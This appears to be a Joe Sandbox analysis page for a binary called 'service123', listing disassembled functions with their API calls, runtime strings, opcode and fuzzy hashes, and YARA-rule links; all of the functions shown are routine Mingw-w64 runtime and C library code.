Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 2e5ba612e6d008b3e6b066579f83d6fefc4dbf00971e18445d4fe60109a3616b
Instruction ID: 67fd03d7322cde07a45777c2dfa2dbdd8f67fae4e1ea8ae8ff19d6560970fa7c
Opcode Fuzzy Hash: 2e5ba612e6d008b3e6b066579f83d6fefc4dbf00971e18445d4fe60109a3616b
Instruction Fuzzy Hash: A751367460B7458FDB10EF29C48861AB7F1BB86718F15852CDD488BB90EB31E849CF92

Function 00051940 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0005196F
vfprintf.MSVCRT ref: 0005198F
abort.MSVCRT ref: 00051994
VirtualQuery.KERNEL32 ref: 00051A2B

Strings

VirtualProtect failed with code 0x%x, xrefs: 00051AA6
Address %p has no image-section, xrefs: 00051AEB
Mingw-w64 runtime failure:, xrefs: 00051968
VirtualQuery failed for %d bytes at address %p, xrefs: 00051AD7

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 55749ea8fe88af105ef33c09f7b84200d3a175425d0bc291b474039649949f1a
Instruction ID: 6f4d0f82ea63263bfbb0a205d04f0a2469d6418321ec46995cdf6bad79353fc5
Opcode Fuzzy Hash: 55749ea8fe88af105ef33c09f7b84200d3a175425d0bc291b474039649949f1a
Instruction Fuzzy Hash: C3516BB15043008FD710EF28D88579BFBE0FF84356F45891EE8899B251D738E849CB92

Function 6C17A690 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 6C17A6BF
vfprintf.MSVCRT ref: 6C17A6DF
abort.MSVCRT ref: 6C17A6E4
VirtualQuery.KERNEL32 ref: 6C17A77B

Strings

Address %p has no image-section, xrefs: 6C17A83B
VirtualQuery failed for %d bytes at address %p, xrefs: 6C17A827
VirtualProtect failed with code 0x%x, xrefs: 6C17A7F6
Mingw-w64 runtime failure:, xrefs: 6C17A6B8

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: QueryVirtualabortfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 2513968241-1534286854
Opcode ID: 2888e67133056435d8ba7c686303188046f21bf25b6ba70337b41e4f285e899b
Instruction ID: 2016154c7520967f87a8648f72457412095dbc6bd08496ced5bb543924e4d217
Opcode Fuzzy Hash: 2888e67133056435d8ba7c686303188046f21bf25b6ba70337b41e4f285e899b
Instruction Fuzzy Hash: B9514AB19093009FC710EF2AC48565AFBF0FF85328F55891DE8988B754E735E859CBA2

Function 6C17E0A0 Relevance: 16.6, APIs: 11, Instructions: 98COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D4C
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 88523468f0169e6531ad9b5ad4af2060e12f9f969f9e4235de6914d60b0d5e2c
Instruction ID: f95b9c527764cac17f6ddfda36ffffd99bfde8e0bb4db80af0ed3127650ad345
Opcode Fuzzy Hash: 88523468f0169e6531ad9b5ad4af2060e12f9f969f9e4235de6914d60b0d5e2c
Instruction Fuzzy Hash: 922126323492188FC714CF18D8816D673E6EFC632872881BED4488BB55D637E916C7A0

Function 6C17E570 Relevance: 15.1, APIs: 10, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction ID: b943d532f01a6633ba02b07f2a2b79b2a204e0210136c97706b3f9c43051eee7
Opcode Fuzzy Hash: 9dd2c658d3c2cb619c7bf21bb267980a7d57e1b10d09043a9d0bcde5e8cf3aa6
Instruction Fuzzy Hash: 5441A5745083068FD730DF29C0807A6B7E1AF95318F548A19E4A487A95E338DB4A8BF2

Function 6C17E59B Relevance: 15.1, APIs: 10, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction ID: 07f5f9054c8536ed105434dc8d04b7bb7462929131f573b10a69f6154bfd81e3
Opcode Fuzzy Hash: 602950868eee7070e08be62886ca486b6e553905e997eb949550a7b66955e2bd
Instruction Fuzzy Hash: 8C21B7745053068FD730DE24C0906EAB7D1AF6531CF648E09E4A48BA55E334DB4B8BF2

Function 6C17E714 Relevance: 15.0, APIs: 10, Instructions: 35COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D51
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D56
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D5B
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D60
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D65
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6A
abort.MSVCRT(?,?,?,?,?,?,6C17E2F4,?,?,?,?,?,?,00000000,00000001,6C18008D), ref: 6C246D6F
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D74
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D79
abort.MSVCRT(?,?,00000000,00000000,?,74DEE010,6C18038F), ref: 6C246D7E

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction ID: dc99bb72fbf0cf1da41fe5b508b01445a538ac42b0c46c84f1bfecf7a8eaca57
Opcode Fuzzy Hash: 9e089e6cd6cd64aa5b62a2a55d0ff6e4215562d1fbf434e16bed1c0db5fcfaf7
Instruction Fuzzy Hash: 16E04F7458861D8EC630DA28C0A16D5BBD5AF5A34CF414906D4D686E14E324DB4B8BA2

Function 6C189249 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C189260
GetProcAddress.KERNEL32 ref: 6C18927A
LoadLibraryW.KERNEL32 ref: 6C18929F
GetProcAddress.KERNEL32 ref: 6C1892B3

Strings

SystemFunction036, xrefs: 6C1892A8
msvcrt.dll, xrefs: 6C189255
advapi32.dll, xrefs: 6C189298
rand_s, xrefs: 6C18926F

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: b848ad478d206ebaf8dfd610694ca90033eafb4545d0742ab77c27b31204718d
Instruction ID: 45dbe2e6c8d6f22b34460a53ab0d54e6bbfb7321a454f7cfddd3ddde17820c23
Opcode Fuzzy Hash: b848ad478d206ebaf8dfd610694ca90033eafb4545d0742ab77c27b31204718d
Instruction Fuzzy Hash: ADF0ECF19592448FCB10FF79954B24ABBB0BB06320F41496DE8C997644D6349434CF67

Function 6C20F8C0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F95D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20F988
memmove.MSVCRT ref: 6C20F9D7
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20FA0D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C1EDA2E), ref: 6C20FA58

Strings

basic_string::_M_replace, xrefs: 6C20FBB6

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 3f0bb1ee251aa370e72ce75b5bdd1b51e390b79d56676dfa964061b640c0aadf
Instruction ID: 3c9c068c0463b537b42574cd37c974836d41432e997168b57680ea2c8f01e347
Opcode Fuzzy Hash: 3f0bb1ee251aa370e72ce75b5bdd1b51e390b79d56676dfa964061b640c0aadf
Instruction Fuzzy Hash: 1C813370A4D75A9FC301DF2CC19051EFBE1AFCA244F24881EE8D597B65D232D888CB96

Function 6C17FEE0 Relevance: 13.7, APIs: 9, Instructions: 186synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C1800D2
WaitForSingleObject.KERNEL32 ref: 6C180117

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 79b0296ad054089b66500df5ca963bb98bebc0749d2ffedaf99a06b8f7a4d8de
Instruction ID: 619d8d9e4e74946de1f4e6fb9c2241cb1ba95f68be27e55912a90d5ea851cae4
Opcode Fuzzy Hash: 79b0296ad054089b66500df5ca963bb98bebc0749d2ffedaf99a06b8f7a4d8de
Instruction Fuzzy Hash: 28618D7170A3098FDB20EF6AC48835B77F4BB46718F108529EC2887A80DB74D849CB62

Function 6C17E760 Relevance: 13.6, APIs: 9, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction ID: 2254ccd4f3a4b0779bad22c10d11f34b53fb80fa1839157b86409dce202203e3
Opcode Fuzzy Hash: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction Fuzzy Hash: 0101E975A092158FC720CB28C490AD6F7D5AF99318F014D25E44547B14D238DACAC7E2

Function 00052BF0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00052CC1

Strings

o, xrefs: 000530A8
0, xrefs: 0005313E

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction ID: e9f66ce3ee2da19717042e3e128ec55c664807f0e2151d0624783ea2ff2d25ed
Opcode Fuzzy Hash: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction Fuzzy Hash: 37F17171A042098FCB15CF68C49469EFBF2BF89361F198229DC55AB392D734ED49CB90

Function 6C1832C0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C183391

Strings

0, xrefs: 6C18380E
o, xrefs: 6C183778

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction ID: 6e0f2553aaff7e840fdfa9e148dcf149801a61179aed2163d3eeaeba03b5a8ce
Opcode Fuzzy Hash: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction Fuzzy Hash: E0F19171A0A6048FCB01CF68C48079DBBF2BF89364F5D8229D954AB785D738E946CF90

Function 000514E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000514F0
LoadLibraryA.KERNEL32 ref: 00051506
GetProcAddress.KERNEL32 ref: 00051525
GetProcAddress.KERNEL32 ref: 00051537

Strings

__register_frame_info, xrefs: 0005151A
libgcc_s_dw2-1.dll, xrefs: 000514E9, 000514FF
__deregister_frame_info, xrefs: 0005152C

Memory Dump Source

Source File: 00000008.00000002.4151336310.0000000000051000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00050000, based on PE: true

Associated: 00000008.00000002.4151308074.0000000000050000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151426615.000000000005A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151479804.000000000005E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.4151516962.0000000000061000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_50000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 26ff2a927fd800911dc7534f84a4500db19c583aadb19c912f5d09ac4bd1b0e4
Instruction ID: 0e9e32ca1282afeae6e6da1fe2f03fbb5f1d6ece105c2a02ee204c79200bd3d4
Opcode Fuzzy Hash: 26ff2a927fd800911dc7534f84a4500db19c583aadb19c912f5d09ac4bd1b0e4
Instruction Fuzzy Hash: 4E0156B19097008BD750BF78E90835FBEE4EB85352F41592ADD8987281E778880CCBA7

Function 6C1713E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C1713F0
LoadLibraryA.KERNEL32 ref: 6C171406
GetProcAddress.KERNEL32 ref: 6C171425
GetProcAddress.KERNEL32 ref: 6C171437

Strings

libgcc_s_dw2-1.dll, xrefs: 6C1713E9, 6C1713FF
__deregister_frame_info, xrefs: 6C17142C
__register_frame_info, xrefs: 6C17141A

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152029730.000000006C24D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152068988.000000006C24F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152140654.000000006C298000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152177829.000000006C299000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.4152218030.000000006C29C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c170000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 4e5d5e1533dcd1824ccf6108b55d48cbbdad9ba9cd46200cd1fdb3ff22c4dcdd
Instruction ID: 22f52365e18f0ba0532bb50dfcca2ee6dfcb27375fb1b4c046c71a9f5ff91f2c
Opcode Fuzzy Hash: 4e5d5e1533dcd1824ccf6108b55d48cbbdad9ba9cd46200cd1fdb3ff22c4dcdd
Instruction Fuzzy Hash: DB0175B29052049FC720BF79D50B21EBFF4AA82655F12842DDD8D57A54DB30C424CBB3

Function 6C1973C0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 237stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C197411
strlen.MSVCRT ref: 6C19742B
strlen.MSVCRT ref: 6C19747B
strlen.MSVCRT ref: 6C1974D8
strlen.MSVCRT ref: 6C19752C

Strings

*, xrefs: 6C197660
basic_string::append, xrefs: 6C1976CA, 6C1976D6, 6C1976E2, 6C1976EE

Memory Dump Source

Source File: 00000008.00000002.4151889255.000000006C171000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C170000, based on PE: true

Associated: 00000008.00000002.4151853715.000000006C170000.00000002.00000001.01000000.0000000F.sdmpDownload File
